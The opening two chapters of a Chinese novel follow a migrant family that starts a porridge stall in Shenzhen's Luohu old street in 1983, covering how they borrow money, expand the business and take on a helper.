《家香粥铺》
1. 1983·闯
罗湖老街的夏天,热得像一口烧干了水的大铁锅。陈永福赤着上身,蹲在还没挂招牌的铺面前,看着手里最后三张皱巴巴的“大团结”——三十块钱,这就是他带着一家人从潮阳老家闯到深圳后,剩下的全部家当。
铺面是前天盘下来的,在罗湖老街最不起眼的拐角,原先是个补鞋摊。十平米不到,墙皮斑驳得像老人的皮肤,雨季留下的水渍在天花板上蜿蜒成地图。唯一的好处是门前有棵老榕树,投下一片阴凉。
“阿福,米买回来了。”
妻子林玉兰的声音从身后传来,轻得像怕惊动什么。她拎着半袋大米,额头上全是汗,碎花衬衫的后背湿了一大片。她比陈永福小三岁,今年整三十,眼角已经有了细细的纹路。
陈永福站起身,接过米袋掂了掂:“二十斤?”
“嗯,粮店说这个月粮票快用完了,下个月还不知道怎么弄。”林玉兰说着,从兜里掏出找回来的零钱,一张五块,几张毛票,“剩下的,买了点粗盐和咸菜。”
七岁的儿子□□躲在母亲身后,小手紧紧攥着母亲的衣角。孩子来深圳半个月了,还是不太敢说话。这里和潮阳太不一样了——老家推开门是水田和山,这里推开门是尘土飞扬的工地,是听不懂的各种口音,是夜里也不停歇的推土机轰鸣。
陈永福把最后三十块钱塞进一个铁皮饼干盒,盒子上印着褪色的牡丹花。这是他结婚时买的,装过喜糖,装过粮票,现在装着全家最后的希望。
“明天开张。”他说,声音有点干涩,“就卖白粥、咸菜。”
林玉兰点点头,没说话。她转身走进铺面,开始擦那张油腻腻的旧桌子。桌子只有四张条凳,挤一挤能坐八个人。灶台是前主留下的煤炉,得自己生火。水要去三十米外的公用水龙头挑,一分钱两桶。
陈永福开始钉招牌。木板是他从工地捡的边角料,刨平了,用烧黑的木炭写上“家香粥铺”四个字。他的字不好看,歪歪扭扭,但每一笔都用足了力气。
“家香……”林玉兰轻声念着,眼眶忽然红了,“离家这么远,哪来的家香。”
陈永福没接话,只是把钉子锤得更深了些。
第二天凌晨四点,天还是墨黑的。
陈永福已经挑回了第一担水。林玉兰在煤炉上生了火,蓝色的火苗舔着锅底,映着她的脸。她把米淘了三遍,倒进大锅里,加了足够的水。
白粥要熬得好,火候和时间缺一不可。米不能煮得太烂,要粒粒分明;汤不能太稀,要稠得像浆。潮汕人喝粥讲究,即便是最简单的白粥,也马虎不得。
□□被父母起床的声音弄醒了,揉着眼睛坐在角落的小竹床上。那是他的“房间”,用一块旧布帘和铺面隔开。竹床是陈永福自己编的,睡上去咯吱响。
“阿爸,我们以后都在这里了吗?”孩子问。
陈永福正把咸菜切成细丝,闻声停了停刀:“嗯,不走了。”
“为什么不回阿公阿嬷家?”
“因为……”陈永福想了想,“因为这里有机会。”
机会是什么,七岁的孩子不懂,陈永福自己也说不清楚。他只知道,在潮阳老家,一家五口人守着两亩薄田,一年到头连顿饱饭都难。弟弟要娶亲,妹妹要嫁妆,父母老了干不动活。作为长子,他得出来闯。
正月初八,他带着妻儿,坐了两天一夜的汽车来到深圳。同村有人在这边的工地干活,写信回来说,这里“遍地是黄金”。
黄金没看见,黄土倒是不少。整个罗湖像个大工地,到处在挖地基,盖楼房。推土机的轰鸣昼夜不停,脚手架上爬满了蚂蚁一样的人。空气里永远飘着水泥和尘土的味道。
陈永福在工地干了两个月小工,一天两块五。林玉兰给工地食堂洗菜,一天一块八。钱攒得慢,花得快。租的棚屋一个月要十五块,吃穿用度样样要钱。
直到看见这个铺面转让——前主是个湖南人,说老家有事急着回去,五十块就转,连灶具桌椅一起。陈永福心一横,拿出了全部积蓄。
粥香开始弥漫开来时,天边露出了鱼肚白。
林玉兰把咸菜装进两个搪瓷盆里,一个辣,一个不辣。又煮了一锅开水,里面泡着几个玻璃杯——客人可以免费喝水。
“开张吧。”她说。
陈永福深吸一口气,把木板招牌挂到了门外的钉子上。没有鞭炮,没有贺客,只有晨风吹过老榕树的沙沙声。
第一个客人是在七点出现的。是个二十来岁的小伙子,穿着蓝色的工装,袖子上印着“第二建筑工程公司”。他骑着一辆二八大杠自行车,在铺面前停下,看了看招牌,又看了看锅里冒热气的粥。
“粥怎么卖?”他问,一口浓重的四川话。
“白粥一毛一碗,咸菜免费。”陈永福赶紧说。
“来一碗。”小伙子在条凳上坐下,从工装口袋里掏出铝制饭盒,“装这里。”
林玉兰舀了满满一饭盒粥,又加了一大勺辣咸菜。粥太烫,小伙子边吹边吃,额头冒出汗珠。
“巴适。”他吃完后,抹了抹嘴,又从兜里掏出一毛钱放在桌上,“明天还来。”
陈永福捏着那张还带着体温的一毛钱,手心有点出汗。这是家香粥铺的第一笔收入。
接下来的一小时,陆陆续续来了七八个客人。都是附近的建筑工人,有的端着饭盒,有的直接用店里的粗瓷碗。他们匆匆吃完,又匆匆离开,奔赴各个工地。
到九点钟,粥卖完了。
林玉兰数了数收来的钱——一块三毛。除去米钱、煤钱,大概能赚六毛。
“明天多煮点。”陈永福说。
“米不够了。”
“我再去买。”陈永福顿了顿,“粮票……我想想办法。”
深圳是特区,粮票制度还没完全取消,但已经开始松动。黑市上能买到高价米,只是贵。陈永福盘算着,要是每天能卖三锅粥,就能多赚点,就能买黑市米。
中午没有生意,一家人吃的是锅里刮下来的锅巴,泡点开水,就着剩下的咸菜。
□□吃得津津有味。孩子容易满足,有吃的就行。
下午,陈永福去工地找工头,想借点粮票。工头是个潮汕同乡,姓郑,四十多岁,胖胖的。
“阿福,开铺了?”郑工头正在看图纸,抬头看他。
“小本生意。”陈永福递上自己卷的烟,“郑哥,想跟你商量点事……”
听完来意,郑工头吐了个烟圈:“粮票我有,但不能白借。这样,你每天给我们工地送三十份粥,早饭。我按一毛五一份算,粮票我先垫,月底从粥钱里扣。”
陈永福心脏砰砰跳:“三十份?”
“怎么,做不过来?”
“做得来!做得来!”陈永福连忙说,“什么时候开始?”
“明天。”郑工头在纸上写了个地址,“早上六点半前送到,工人们七点要上工。”
回家的路上,陈永福脚步轻快。三十份,一份一毛五,一天就是四块五。扣去成本,能赚两块多。一个月就是六七十块——这比他当小工强多了。
他把好消息告诉林玉兰,妻子却皱起眉头:“三十份?我们只有一口锅。”
“可以再买一口。”
“钱呢?”
陈永福语塞了。
晚上打烊后,夫妻俩坐在煤油灯下算账。饼干盒里所有的钱倒出来,数了三遍——四十二块七毛。买一口新锅至少要十块,还得添些碗筷。
“要不……”林玉兰迟疑着,“我去找阿珍借点?”
阿珍是她来深圳后认识的朋友,在制衣厂做工,也是潮汕人。
陈永福摇头:“刚开张就借钱,不好。”
两人沉默了一会儿,煤油灯的灯芯噼啪响了一声。
“我想想办法。”陈永福最后说。
办法在第二天早上自己送上门了。那是个穿着白衬衫、梳着分头的年轻男人,看起来二十五六岁。他骑着一辆崭新的永久牌自行车,车把上挂着一个黑色公文包。在粥铺前停下时,他先看了看手表——一块上海牌手表,在晨光里闪着光。
“老板,来碗粥。”他说的是普通话,带点北方口音。
“好嘞。”陈永福应着,盛粥时多看了一眼这个人。在满是建筑工人的老街,这样打扮的人不多见。
年轻人吃得慢,一边吃一边打量着铺面。吃完后,他没急着走,而是掏出烟,递给陈永福一支。
“谢谢,我不抽。”陈永福摆手。
“老板贵姓?”
“免贵姓陈,陈永福。”
“我姓周,周明远。”年轻人点上烟,“陈老板这铺子刚开张?”
“第三天。”
“生意怎么样?”
“还过得去。”陈永福谨慎地回答。
周明远笑了笑,从公文包里拿出一张名片,递给陈永福。名片是印刷的,上面写着“深圳经济特区贸易公司”,下面一行小字“业务经理”。
陈永福接过名片,手有些抖。他这辈子第一次收到名片。
“陈老板,”周明远弹了弹烟灰,“我看你这位置不错,老榕树下,阴凉。就是铺面太小了。”
“小本生意,够了。”
“不够。”周明远摇摇头,“深圳发展快,以后人会越来越多。你这粥铺要是做大点,生意肯定好。”
陈永福苦笑:“周经理说笑了,我们哪有本钱做大。”
“本钱可以借。”周明远凑近了些,压低声音,“我是做贸易的,认识银行的人。现在国家鼓励个体户,有小额贷款政策。你要是想扩大,我可以帮你牵线。”
陈永福的心跳加快了:“贷款?”
“对,不用抵押,只要有人担保就行。”周明远站起身,“陈老板考虑考虑。我这两天都在附近办事,明天还来喝粥。”
他留下一毛钱,骑上自行车走了。
陈永福捏着那张名片,站在老榕树下,看着周明远的背影消失在老街尽头。
“那个人说什么?”林玉兰走过来问。
陈永福把周明远的话说了。林玉兰听完,眉头皱得更紧:“贷款?那不就是借钱?借了不用还吗?”
“要还的,还要利息。”
“那不能借。”林玉兰斩钉截铁,“阿爸说过,饿死不做盗,穷死不借债。”
陈永福没说话。父亲的话他记得,可是……一天四块五的收入太诱人了。如果真能扩大铺面,添几口锅,雇个人手,一天赚十块、二十块也不是不可能。
那天晚上,陈永福失眠了。
他躺在竹席上,听着妻子均匀的呼吸,听着儿子偶尔的梦呓,听着远处工地隐约的机器声。深圳的夜晚从不真正安静,总有某种声音在暗处涌动,像是这座城市的心跳。
他想起了离开潮阳前夜,父亲在祠堂里跟他说的话。
“阿福,你是长子,这个家以后要靠你了。去深圳,闯一闯,闯出来了是本事,闯不出来……也要活着回来。”
母亲在一旁抹眼泪,往他行李里塞了一包家乡土:“水土不服的时候,泡点水喝。”
现在那包土还压在行李最底下,用红布包着。
陈永福翻了个身,看着窗外老榕树的剪影。树叶在夜风里轻轻晃动,像是无数只手掌,在黑暗中招摇。
第三天,周明远果然又来了。这次他不是一个人,还带了个戴眼镜的中年人,介绍说是银行的信贷员,姓李。
“李同志,这就是陈老板。”周明远介绍道,“陈老板,李同志专门来看看你的铺子,评估一下贷款资格。”
李信贷员推了推眼镜,仔细打量着粥铺,又问了几个问题:每天营业额多少,成本多少,有没有固定客源。
陈永福一一回答,手心全是汗。
“原则上,个体工商户可以申请五百元以下的小额贷款。”李信贷员说,“但需要两个有正式工作的担保人。”
“担保人我可以找一个。”周明远说,“陈老板你再找一个就行。”
陈永福脑子飞快转着。有正式工作的……郑工头算不算?可是人家凭什么给他担保?
“我考虑考虑。”他最后还是说。
送走两人后,林玉兰把他拉到后边:“你真想贷款?”
“我在想……”
“想什么?五百块,我们得还到什么时候?”林玉兰急了,“而且还要担保人,万一我们还不上,不是连累别人?”
陈永福知道妻子说得对,可心里那股火就是灭不掉。他看着这条老街,看着来来往往的人,忽然有种强烈的预感——如果现在不抓住机会,以后会后悔。
下午,他去了郑工头的工地。
郑工头正在训人,看见他,摆了摆手让他等会儿。陈永福蹲在工地边的水泥管上,看着工人们抬钢筋、拌水泥。每个人都汗流浃背,但动作很快,没有人偷懒。
这就是深圳速度——他听工人们说过这个词。
半小时后,郑工头走过来,递给他一支烟:“想好了?要送三十份粥?”
“想好了。”陈永福接过烟,没点,“郑哥,还有件事想求你。”
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“说。”
“我想贷点款,扩大铺面。银行要担保人……郑哥能不能帮我担保?”
郑工头盯着他看了好一会儿,猛吸一口烟:“阿福,你知道担保是什么意思吗?”
“知道。要是还不上,你要替我还。”
“知道你还开口?”郑工头笑了,不知是苦笑还是什么,“咱们认识才几个月?”
陈永福脸红了:“郑哥要是不方便,就当我没说……”
“我没说不帮。”郑工头把烟头踩灭,“这样,你先把送粥的事做好。要是能坚持一个月,每天准时送到,我就给你担保。”
陈永福眼睛亮了:“真的?”
“我老郑说话算话。”郑工头拍拍他的肩,“但是阿福,我得提醒你。贷款容易还款难,利息是钱,时间也是钱。你得想清楚,有没有那个本事把生意做大。”
“我想清楚了。”陈永福说。
回家的路上,他开始盘算要买的东西:一口大锅,二十个新碗,两张桌子……还得找人把铺面往后扩一点,老榕树下的空地可以利用起来。
钱呢?钱从哪里来?
他想到了饼干盒里的四十二块七毛,想到了周明远说的五百块贷款,还想到了老家父母床底下的那个陶罐——里面装着给弟弟娶亲的钱,总共两百块。
不能动那个钱。陈永福立刻打消了这个念头。弟弟二十五了,在农村已经算大龄,亲事不能再拖。
那就只能贷款。
晚上,他跟林玉兰摊牌了。
“郑工头答应担保,条件是送粥满一个月不出错。”陈永福说,“我想好了,贷款五百,用三个月。三个月后要是生意没起色,我就回去工地干活,慢慢还。”
林玉兰没说话,只是低头缝补儿子磨破的裤子。煤油灯的光在她脸上跳跃,看不清表情。
“玉兰……”陈永福伸手想碰她的肩。
“你想做就做吧。”林玉兰忽然开口,声音很轻,“反正这个家从来都是你说了算。”
这话像根针,扎进陈永福心里。他知道妻子不高兴,可是开弓没有回头箭,话已经说出去了。
“我会做成的。”他说,像是在保证,又像是在说服自己,“一定会。”
接下来的一个月,陈永福像上了发条的钟。每天凌晨三点起床,挑水、生火、熬粥。三十份工地粥要在六点半前送到,这意味着四点半就得开始装盒。林玉兰负责打包,用旧棉被保温,陈永福用扁担挑着两个大竹篮,步行二十分钟送到工地。
送完粥回来,铺面正好开张。早上的客人主要是建筑工人,中午有些附近办事的人,晚上则是一些舍不得吃贵的、又想喝口热乎的散工。
陈永福发现,很多人喝粥不只是为了填肚子。他们会坐在老榕树下,慢慢地喝,有时候会聊聊天。聊老家的孩子,聊工地的辛苦,聊对未来的迷茫。
他渐渐记住了几个常客:四川来的小张,爱加辣咸菜;湖南的老李,每次都要多要一勺粥汤;江西的小王,总是带着自己的搪瓷缸,说店里的碗不干净。
粥铺成了一个小小的信息站。谁哪个工地招工,哪里的工钱高,哪家店卖东西便宜……消息在这里流传。
一个月很快过去,郑工头的那三十份粥,一天没断,一次没晚。
第三十天的早上,郑工头接过粥时,拍了拍陈永福的肩膀:“行,你小子有信用。担保的事,我认了。”
陈永福鼻子一酸,差点掉眼泪。
贷款手续办得出乎意料的顺利。周明远带着他和郑工头去了银行,填了几张表格,李信贷员问了几个问题,最后说:“五百元,年利率百分之七点二,期限一年,按月还款。有困难可以申请延期,但不能超过三个月。”
陈永福在借款合同上按了手印,红色印泥沾在食指上,像是某种烙印。
拿到钱的那天下午,他把五百元现金铺在铺面的小桌上,和林玉兰、儿子一起看。十元一张的“大团结”,整整五十张,厚厚一沓。
“这么多钱……”林玉兰喃喃道。
□□伸手想摸,被陈永福轻轻拍开:“不能碰,这是要还的。”
他拿出早就列好的清单:一口直径一米的大铁锅,三十五元;三十个粗瓷碗,十五元;两张折叠桌,二十元;二十把塑料凳,三十元……林林总总算下来,要花掉将近两百元。
剩下的三百元,他打算留作周转资金——买米、买煤、买咸菜,还要预备着生病或意外。
“明天我去市场。”陈永福把钱小心地收进饼干盒,“玉兰,你看铺子。建国,帮妈妈看火,别乱跑。”
儿子用力点头。
那天晚上,陈永福又失眠了。但这次不是因为焦虑,而是因为兴奋。他脑子里全是规划:铺面往后扩一米,能多摆两张桌子;老榕树下搭个棚子,雨天也能做生意;要是生意好,以后可以加卖炒粉、汤面……
他越想越远,甚至想到了在深圳买房,把父母接来,弟弟妹妹也过来帮忙。一家人团聚在这个新的城市,开始新的生活。
凌晨两点,他悄悄起床,点起煤油灯,拿出纸笔开始画草图。他文化程度不高,只上过小学,字写得歪歪扭扭,但画图还行。铺面的布局,灶台的位置,桌椅的摆放……一笔一画,勾勒出一个模糊却明亮的未来。
林玉兰不知什么时候醒了,披着衣服走过来,看着他在灯下忙碌。
“睡吧,明天还要早起。”她说。
“就快画好了。”陈永福头也不抬。
林玉兰在他身边坐下,看着那些线条和数字。半晌,她轻声说:“阿福,我有点怕。”
陈永福停下笔,转头看她。
“怕什么?”
“怕我们还不上钱,怕生意做不好,怕……”林玉兰顿了顿,“怕这个城市太大了,我们这么小,会被吞掉。”
陈永福握住妻子的手。那双手因为常年劳作,粗糙得像砂纸,手掌上有厚厚的茧。
“不会的。”他说,声音很坚定,“我们有手有脚,肯吃苦,就一定能在深圳活下去。”
窗外,远处工地的探照灯划破夜空,像一把光剑,刺向黑暗深处。推土机的轰鸣隐约传来,那是这座城市永不疲倦的脉搏。
1983年的夏天,在家香粥铺的煤油灯下,在两张对未来充满渴望又带着恐惧的脸上,深圳的故事刚刚翻开第一页。
而老榕树静静立在夜色中,见过无数个这样的夜晚,也将在未来见证无数个黎明。它的根深深扎进这片土地,像是某种隐喻——只有扎下根来,才能枝繁叶茂。
2. 立灶
贷款下来的第三天,陈永福起了个大早。天还没亮透,灰蒙蒙的像鱼肚子。他揣着两百块钱,骑上从郑工头那里借来的三轮车,往罗湖市场去。那三轮车除了铃不响哪儿都响,蹬起来吱呀吱呀的,链条打在挡泥板上,啪嗒啪嗒的。
市场里已经热闹起来了。卖菜的、卖肉的、卖水产的,吆喝声此起彼伏。空气里混着鱼腥味、泥土味和汗味。陈永福推着三轮车在人堆里挤,眼睛在各个摊位扫。
他要买一口大锅。
找了三家卖厨具的,最后在一家潮汕老乡的摊前停下。老板姓蔡,揭阳人,听口音就亲切。
“要多大?”蔡老板问。
“一米宽的。”陈永福比划着,“煮粥用。”
蔡老板从后面搬出一口铁锅,黑黝黝的,锅底厚实。“这个好,受热匀,不容易糊底。三十五块。”
陈永福蹲下来,用手指敲了敲锅沿,声音沉闷实在。他又看了看锅底,平整光滑。“三十行不行?”
“老弟,我这进价就二十八了。”蔡老板摇头,“最多让两块,三十三。”
两人磨了十分钟嘴皮子,最后三十二块成交。陈永福付钱时,手指在那些“大团结”上停了停。三十二块,抵得上工地小工半个月的工钱了。他咬咬牙,抽出四张,找回八块。
锅太大,三轮车放不下。蔡老板找了根麻绳,帮着把锅绑在车斗后面。锅沿高出车斗一大截,陈永福蹬车时得小心翼翼,怕刮到人。
接着去买碗。
碗摊的老板是个湖南女人,说话又快又急。粗瓷碗,蓝边,一碗一毛五。陈永福要了三十个,四块五。女人用稻草绳把碗十个一捆扎好,捆了三捆放进车斗。
“小心点放,别磕着。”她说。
桌子椅子是在旧货市场买的。两张折叠木桌,桌腿有些晃,但用钉子加固一下还能用。二十把塑料凳,红色的,有些褪色了,但没破。一共花了四十五块。
等买完这些,太阳已经升起来了。七月的深圳,早上八点就开始热。陈永福蹬着满载的三轮车往回走,衬衫湿透了贴在背上。
回到铺面时,林玉兰已经在熬第二锅粥了。早上的三十份送完了,店里还有三四个工人在喝粥。看见陈永福买回来的东西,林玉兰眼睛亮了亮,但没说什么,转身继续搅锅里的粥。
陈永福开始卸货。锅太重,一个人搬不动。隔壁修自行车的王师傅看见了,过来搭了把手。两人吭哧吭哧把锅抬进铺面,放在早就清出来的位置上。
“哟,换大锅了?”王师傅擦了把汗,“要扩大生意啊?”
“试试看。”陈永福递给他一支烟。
王师傅接过烟别在耳朵上:“有魄力。这老街就缺个像样的吃饭地方。那些工地食堂,菜贵量又少。”
这话让陈永福心里踏实了点。他把桌子凳子搬出来,在老榕树下摆开。两张桌子,八条凳子,再加上铺面里的两张桌子,现在总共能坐十六个人了。
摆好桌椅,他蹲在门口抽烟,看着眼前的一切。老榕树的影子慢慢移动,阳光从树叶缝隙漏下来,在地上洒出斑斑点点的光。几个路过的工人朝这边看了看,有人停下脚步,问了句“现在有位置坐了啊”,然后进来要了碗粥。
中午生意比平时好了些。两张新桌子都坐满了,还有人等着。林玉兰忙得脚不沾地,盛粥、收钱、擦桌子。陈永福负责添煤、挑水、收拾碗筷。七岁的□□蹲在角落里洗碗,小手在木盆里搓着那些粗瓷碗。
到下午两点,粥卖完了。林玉兰数了数钱,七块八毛。比平时多了快三块。
“要是晚上也开,能卖更多。”陈永福说。
林玉兰看他一眼:“晚上谁还喝粥?”
“那些加班的,下晚班的。”陈永福说,“工地有时候赶工,干到八九点。他们总得吃东西。”
林玉兰没吭声,把收来的钱一张张抚平,叠好,放进饼干盒里。
晚上,他们真的多熬了一锅粥。
结果还真有人来。先是两个下班的建筑工人,满脸灰土,坐下来连喝三碗。接着是个戴眼镜的年轻人,背着帆布包,说是刚下班,饿得慌。后来又来了几个,都是附近做工的。
到九点半,粥又卖完了。这锅粥小些,卖了四块二。
关门的时候,陈永福算了算账。今天总共卖了十二块,成本大概五块,赚了七块。如果每天都能这样,一个月就是两百一十块。扣掉贷款月供四十二块,还能剩一百六十多。
这个数字让他心跳加快了。
睡觉前,他把剩下的三百多块钱从饼干盒里拿出来,又数了一遍。林玉兰在铺面后面用木板隔出来的小间里铺床,听见他数钱的声音,探出头来。
“还不睡?”
“就睡。”陈永福把钱收好,想了想,抽出十块钱,“明天买点肉,熬点肉末粥试试。光白粥咸菜,久了人家也会腻。”
林玉兰接过钱,小心地揣进兜里:“肉粥卖多少钱一碗?”
“一毛五吧。肉放少点,提个味就行。”
□□已经在小竹床上睡着了,梦里咂了咂嘴。孩子这几天开心了些,因为爸妈都在身边,而且店里人多热闹。他有时候会帮客人拿筷子,客人夸他一句,他能高兴半天。
夜深了,老街安静下来。只有远处偶尔传来几声狗叫,和更远处工地隐约的机器声。陈永福躺在妻子身边,睁着眼睛看头顶的木板。木板缝里透着外面路灯的光,一道一道的,像是把黑夜切成了条。
他想起了周明远。那个穿白衬衫的年轻人,这两天没见来。不知道在忙什么。还有郑工头,今天送粥时跟他说,工地要赶进度,下个月开始可能要加夜班,问他晚上能不能送点吃的过去。
生意好像真的要起来了。
但他心里还是悬着一块石头。贷款要还,铺面要守,一家人要吃饭。不能出错,一步都不能错。
第二天早上四点半,他就起来了。
挑水,生火,熬粥。今天要试做肉末粥。林玉兰把买回来的半斤猪肉剁成末,用盐和酱油腌了。等白粥熬到七分熟,把肉末撒进去,再煮一会儿,撒点葱花。
第一锅肉末粥出锅时,香味飘了半条街。
早上的工人来喝粥,闻着味就问:“今天有肉粥?”
“有,一毛五一碗。”
“来一碗试试。”
肉粥很快卖完了。三十个工人里,有十八个选了肉粥。白粥反而剩了些。陈永福心里有了底。人都是想吃点好的,哪怕只是多一点点肉末。
上午,周明远来了。
他还是那身白衬衫,但今天看起来有些疲惫,眼里有血丝。要了一碗肉粥,慢慢喝着。
“陈老板生意越做越好了。”他说。
“托您的福。”陈永福给他加了点咸菜,“周经理最近忙?”
“忙,到处跑。”周明远揉了揉太阳穴,“深圳变化快,一天一个样。昨天那边还在挖地基,今天已经开始浇混凝土了。”
喝完粥,周明远没急着走。他从公文包里拿出一份报纸,是《深圳特区报》,头版登着特区建设的新闻。
“陈老板看报纸吗?”
“认字不多。”陈永福老实说。
“要多看看。”周明远把报纸摊开,指着一篇文章,“你看这里说,市里要大力发展第三产业。什么是第三产业?服务业,餐饮业,零售业,都算。你们这粥铺,就是第三产业。”
陈永福似懂非懂地点头。
“所以啊,你们赶上了好时候。”周明远收起报纸,“好好干,以后说不定能开分店,做成连锁。”
连锁是什么,陈永福不知道。但他记住了“好时候”这三个字。
送走周明远,陈永福把那份报纸拿起来,努力认上面的字。他文化程度不高,小学毕业就下地干活了。很多字不认识,但能看懂大概意思。报纸上说深圳要建高楼,要修路,要来很多投资。
他忽然觉得,自己这个小粥铺,好像和那些大事有了某种联系。虽然很小,但也是这城市变化的一部分。
中午的时候,来了个女客人。
二十出头的样子,穿着碎花衬衫,蓝布裤子,扎两个麻花辫。她站在铺面前犹豫了一下,才小声问:“粥多少钱一碗?”
“白粥一毛,肉粥一毛五。”
“要一碗白粥。”
林玉兰盛粥时,多看了她两眼。女孩脸色不太好,眼睛有点肿,像是哭过。她端着粥坐到最角落的位置,小口小口地喝,喝得很慢。
喝完了,她没马上走,坐在那里发呆。手里捏着个手帕,捏得紧紧的。
林玉兰走过去:“姑娘,还要添点吗?锅里还有。”
女孩摇摇头,从兜里掏出一毛钱,放在桌上。起身时,晃了一下,差点摔倒。林玉兰赶紧扶住她。
“没事吧?”
“没事,谢谢。”女孩声音很轻,“就是有点头晕。”
“早饭没吃?”
女孩点点头。
林玉兰想了想,转身盛了半碗粥汤,递给她:“这个不要钱,喝点暖暖胃。”
女孩接过碗,手有点抖。喝了两口,眼泪忽然掉下来,砸进碗里。
“姑娘,你这是……”林玉兰有点慌。
“我没事,没事。”女孩抹了抹眼泪,把碗放下,“谢谢老板娘。”
她匆匆走了,背影单薄得像片叶子。
陈永福走过来:“怎么了?”
“不知道,看着像有什么难处。”林玉兰望着女孩离开的方向,“年纪轻轻的,一个人来深圳,不容易。”
那天下午,林玉兰一直惦记着那个女孩。直到傍晚,女孩又来了。这次她看起来平静了些,还是要了一碗白粥,坐在老位置慢慢喝。
林玉兰趁盛咸菜的机会,过去和她说话:“姑娘是哪里人?”
“梅县。”
“来深圳打工?”
“嗯,在制衣厂。”女孩顿了顿,“昨天……昨天被开除了。”
“为什么?”
“说我手脚慢,赶不上流水线。”女孩低下头,“可我真的很努力了。”
林玉兰在她对面坐下:“那你现在住哪儿?”
“跟几个老乡租了个棚屋,还能住几天。可是没工作了,下个月房租不知道怎么办。”
两人沉默了一会儿。老榕树上有知了在叫,一声长一声短。
“你会做什么?”林玉兰问。
“我会做饭,会缝衣服,还会……还会算账,我读过初中。”
林玉兰回头看了陈永福一眼。陈永福正在灶台前添煤,背对着她们,但显然听见了。
晚上打烊后,夫妻俩商量这事。
“店里忙不过来,可以请个人。”陈永福说,“一个月给三十块,包吃住。”
“三十块是不是少了点?制衣厂一个月有四十多。”
“我们小本生意,给不了那么多。”陈永福说,“而且包吃住,她省了房租饭钱,实际拿到手的比四十多。”
林玉兰想了想:“那明天问问她愿不愿意。”
第二天女孩再来时,林玉兰跟她说了。女孩眼睛亮了,但很快又暗下去:“可是我……我没做过餐饮。”
“可以学。”林玉兰说,“就是盛粥收钱洗碗,不难。”
女孩咬了咬嘴唇:“那我试试。谢谢老板娘,谢谢老板。”
她叫黄秀英,今年十九岁。家里四个姐妹,她排行老三。初中毕业没考上高中,在家干了两年农活,听说深圳能赚钱,就跟着老乡来了。
黄秀英住进了铺面后面用木板隔出来的小间,和□□的竹床只隔一道布帘。她行李很少,就一个帆布包,里面两件换洗衣服,一个搪瓷缸,一把梳子。
有了帮手,
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林玉兰轻松多了。黄秀英手脚勤快,眼里有活,不用吩咐就知道该做什么。她还会算账,收钱找零从不出错。
生意一天天好起来。早上的工地订单增加到四十份,中午晚上店里也常常满座。有时候还要翻台,一桌客人走了,马上又有新的坐下。
陈永福开始琢磨增加品种。除了白粥肉粥,他又试做了皮蛋粥、鱼片粥。皮蛋贵,就少放点,切碎了撒在粥面上,卖两毛一碗。鱼片粥用的巴浪鱼,便宜,但腥,要用姜丝和胡椒粉压味。
老街上的其他摊主开始注意到家香粥铺的变化。修自行车的王师傅有时候会过来喝碗粥,说几句闲话。卖水果的阿婆每天收摊前,会拿几个有点磕碰的水果过来,换碗粥喝。开杂货铺的老李,偶尔会赊点酱油盐巴给陈永福,月底结账。
粥铺成了老街的一个小中心。工人们在这里碰头,约活儿;小贩们在这里歇脚,聊天;过路的人在这里填饱肚子,继续赶路。
八月中的一天,郑工头来找陈永福,说工地要赶国庆献礼工程,接下来一个月都要通宵施工。
“晚上十一点,要送五十份夜宵。”郑工头说,“粥啊粉啊都行,要顶饿。一毛五一份,做不做?”
“做!”陈永福想都没想就答应了。
五十份,就是七块五。加上白天的收入,一天能超过二十块了。
但问题是,晚上十一点送,意味着要熬到那个时候。而且五十份夜宵,光靠现在的锅不够。
他又去买了一口锅。这次是二手锅,二十五块。两口锅同时开火,一口熬粥,一口煮汤粉。汤粉简单,米粉煮熟,加点肉末青菜,浇一勺骨头汤。骨头是肉摊上便宜买的,熬一锅汤能用两天。
黄秀英主动说她可以帮忙送夜宵。“我年轻,不怕走夜路。”
陈永福想了想,同意了。但让林玉兰给她做了个哨子,挂在脖子上。“万一有什么事,就吹哨子。老街虽然熟人多,但还是小心点。”
送夜宵的第一天,晚上十点,粥铺还亮着灯。
两口锅都在冒热气。一口熬着皮蛋瘦肉粥,一口煮着米粉。黄秀英把五十个铝饭盒排开,林玉兰一个个盛满,盖上盖子,用旧棉被打包好。
陈永福检查了三遍,确认数量没错,味道合适。
十点半,黄秀英推着三轮车出发了。车上挂着马灯,摇摇晃晃的光照亮前面一小段路。陈永福站在铺面门口,看着她拐过街角,消失在夜色里。
他心里有些不安。黄秀英毕竟是个女孩子,走夜路不安全。但眼下没有别的办法。他想着,等这个月做完,赚了钱,就去买辆二手自行车,送餐能快些,也安全些。
十一点二十,黄秀英回来了。三轮车空了,她脸上带着笑。
“送到了,郑工头说粥好喝,粉也好吃。工人们都抢着要。”
陈永福松了口气:“路上没事吧?”
“没事,就是有条狗追了我一段,我按铃把它吓跑了。”
林玉兰端出一碗留着的粥:“快吃点,累了吧?”
黄秀英接过碗,蹲在门口吃起来。月光照在老街上,石板路泛着青白色的光。远处工地灯火通明,打桩机的声音咚咚咚的,像这座城市的心跳。
那天晚上,陈永福又失眠了。不过这次不是因为焦虑,而是因为盘算。
一天二十块,一个月就是六百块。扣掉成本两百,人工三十,贷款月供四十二,还能剩三百多。三百多啊,在老家要挣大半年。
他翻了个身,看着睡在身边的妻子。林玉兰呼吸均匀,眉头却微微皱着,梦里也在操心吧。他又看向布帘那边,黄秀英和□□都睡着了,偶尔有几句含糊的梦话。
这个小铺面,现在住了四个人。虽然挤,但有热气,有活气。
窗外的老榕树在夜风里轻轻摇晃叶子。陈永福忽然想起老家的榕树,也是这样大,这样老。小时候他常爬上去掏鸟窝,被父亲追着打。母亲在树下喊“小心点,别摔着”。
一晃眼,自己也有孩子了,也到了要撑起一个家的年纪。
他轻轻起身,走到铺面里。月光从窗户照进来,照在那些桌子上、凳子上、锅灶上。一切都安静,一切都踏实。
饼干盒放在柜子最里面。他打开盒子,借着月光数了数里面的钱。这两个多月攒下的,加上今天收的,有三百七十多块了。离还清贷款还有一段距离,但至少能看到希望。
他把钱放回去,盖上盖子。铁皮盒子发出轻微的咔哒声。
回到床上时,林玉兰醒了,迷迷糊糊问:“几点了?”
“快两点了,睡吧。”
“你怎么还不睡?”
“就睡。”
林玉兰往他身边靠了靠,很快又睡着了。陈永福闭上眼睛,听着妻子均匀的呼吸,听着远处工地的声音,慢慢也睡着了。
梦里,他看见粥铺变大了,变成了两层楼,楼上住人,楼下做生意。客人来来往往,热闹非凡。父亲母亲从老家来了,坐在店里喝粥,笑得满脸皱纹。弟弟妹妹也来了,在店里帮忙。
